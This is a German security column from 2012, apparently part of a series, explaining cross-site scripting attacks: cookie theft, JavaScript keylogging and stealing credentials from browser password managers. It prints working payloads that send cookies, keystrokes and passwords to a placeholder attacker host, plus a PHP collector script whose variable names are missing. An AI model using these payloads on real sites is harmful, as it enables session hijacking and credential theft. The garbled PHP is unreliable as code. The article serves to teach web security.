Samstag, 4. Februar 2012 |
Das Ausspähen von Cookies und Tastatureingaben sowie das Auslesen von Passwörtern sind einige mögliche Angriffe über XSS:
"Ausspähen von Cookies" ist ein klassischer XSS-Angriff. Als Beispiel
soll folgender Aufruf einer Webanwendung dienen, deren Parameter
foo für reflektiertes XSS anfällig ist:
http://www.beispiel.example/anwendung.cgi?foo=[XSS]
Um den Cookie auszuspähen, muss auf dem Client JavaScript-Code eingeschleust werden, der den Cookie an den Server des Angreifers sendet, z.B. so:
<script>document.location.replace('http://www.angreifer.example/cookie-sammler.php?
geklautercookie='+document.cookie)</script>
Der Angreifer müsste sein Opfer also dazu verleiten, folgenden URL aufzurufen:
http://www.beispiel.example/anwendung.cgi?foo=<script>document.location.replace(
'http://www.angreifer.example/cookie-sammler.php?
geklautercookie='+document.cookie)</script>
N E U ! Security
aktuell
Täglich aktuelle Security-Infos!
Genauso gut könnte der XSS-Code auch z.B. in ein Gästebuch
(persistentes XSS) eingetragen oder über DOM-basiertes XSS direkt in
den Webbrowser des Opfers eingeschleust werden. Egal wie der Code
eingeschleust wird, er sendet sofort den Cookie an den Server des
Angreifers. Das dort laufende Skript cookie-sammler.php
könnte z.B. folgenden Inhalt haben (statt PHP kann natürlich auch
jede andere Sprache verwendet werden):
<?
// Daten sammeln
= ["geklautercookie"];
= getenv ("REMOTE_ADDR");
= getenv("HTTP_REFERER");
= date("j. F Y, H:i");
// Eintrag zusammenstellen
= "Cookie: ".." <br>";
= ."IP: ".." <br>";
= ."Referer: ".." <br>";
= ."Datum und Zeit: ".." <br>";
= ." <hr> <br>";
// Eintrag in Datei schreiben
= fopen("geklaut.html", "a+");
fwrite(, );
fclose();
?>
Der Cookie des Opfers wird über den GET-Parameter
geklautercookie übergeben, IP-Adresse und
Referer werden
aus den entsprechenden Einträgen des Environments übernommen.
Danach werden die gesammelten Daten aufbereitet und das Ergebnis in die
Datei geklaut.html geschrieben.
Statt langwieriger Erklärungen gleich ein einfaches Beispiel: Der folgende kurze JavaScript-Code gibt im Internet Explorer die Tastendrücke in der Statuszeile aus:
<script> var keylog = 'Tastendrücke: ';
document.onkeypress = function () {
window.status = keylog += String.fromCharCode(window.event.keyCode);
}
</script>
Das ist weder für einen Angreifer besonders hilfreich noch ein Keylogger im eigentlichen Sinne, zeigt aber das (sehr einfache) Prinzip: Tastendrücke werden erkannt und der zugehörige Tastencode ausgewertet. Mit etwas AJAX lassen sich die so erlangten Daten auch an den Angreifer senden:
<script>
var serviceURL = "http://www.angreifer.example/tasten-sammler.php"
var req = new XMLHttpRequest();
var keylog = '';
document.onkeypress = function () {
keylog += String.fromCharCode(window.event.keyCode);
sendeDaten(keylog)
}
function sendeDaten(daten) {
req.open("POST", serviceURL + "?tasten=" + encodeURIComponent(daten.value), true);
req.send(null);
}
</script>
Der Keylog-Teil dieses Skripts ist weitgehend identisch mit dem ersten Beispiel, lediglich auf die Ausgabe in der Statuszeile wird aus nahliegenden Gründen verzichtet. Stattdessen werden die Tastendrücke über einen XMLHttpRequest an den Server des Angreifers geschickt. Dort wartet ein Skript entsprechend zum Sammeln der Cookies auf die übertragenen Tastendrücke.
Um Passwörter aus Passwortmanagern wie z.B. dem Password-Safe von Firefox oder dem Schlüsselring von Mac OS X auszulesen, nutzt der Angreifer die manchmal unzureichende Intelligenz solcher Programme: Sie füllen die auf einer Webseite gefundenen Formularfelder mit den zum jeweiligen Server passenden Werten aus. Auch, wenn diese Daten dann an einen anderen Server gesendet werden. Da es sich dabei um Schwachstellen in den jeweiligen Passwortmanagern handelt, die (hoffentlich) früher oder später behoben werden, funktionieren entsprechende Angriffe immer nur für bestimmte Passwortmanager und/oder Versionen. Im Folgenden wird daher nur das allgemeine Prinzip beschrieben.
Als Beispiel soll die Webanwendung
http://www.beispiel.example/anwendung.html
dienen, die ein
Formular für die Anmeldung mit Benutzername und Passwort enthält:
<form method="post" action="http://www.beispiel.example/login.cgi">
Name: <input name="name"><br>
Passwort: <input name="pass"><br>
<input type="submit" value="Einloggen">
</form>
Der Passwortmanager erkennt die Seite
http://www.beispiel.example/anwendung.html und
füllt die
Formularfelder mit den passenden Werten aus. Das Gleiche passiert auch,
wenn ein Angreifer folgendes Formular in die Seite einschleusen würde:
<form name="passwortklau" method="post" action="http://www.angreifer.example/passwort-sammler.php">
<input type="hidden" name="name">
<input type="hidden" name="pass">
</form>
Der Angreifer muss die Daten dann nur noch abschicken:
<script>document.passwortklau.submit()</script>
Wertet der Passwortmanager außer dem Domainnamen und den
Formularfeldern auch den action-Parameter
aus, würde er
das falsche Ziel für die Daten erkennen. Aber auch das kann umgangen
werden, indem der Passwortdiebstahl in einem onSubmit-Aufruf
versteckt wird:
<form name="passwortklau" method="post" action="http://www.beispiel.example/login.cgi"
onSubmit="document.location.replace(
'http://www.angreifer.example/passwort-sammler.php?
name='+document.passwortklau.name.value+
'&pass='+document.passwortklau.pass.value)";>
<input type="hidden" name="name">
<input type="hidden" name="pass">
</form>
In der nächsten Folge wird die Beschreibung von XSS-Angriffen fortgesetzt.
Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!
About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen – Cross-Site Scripting"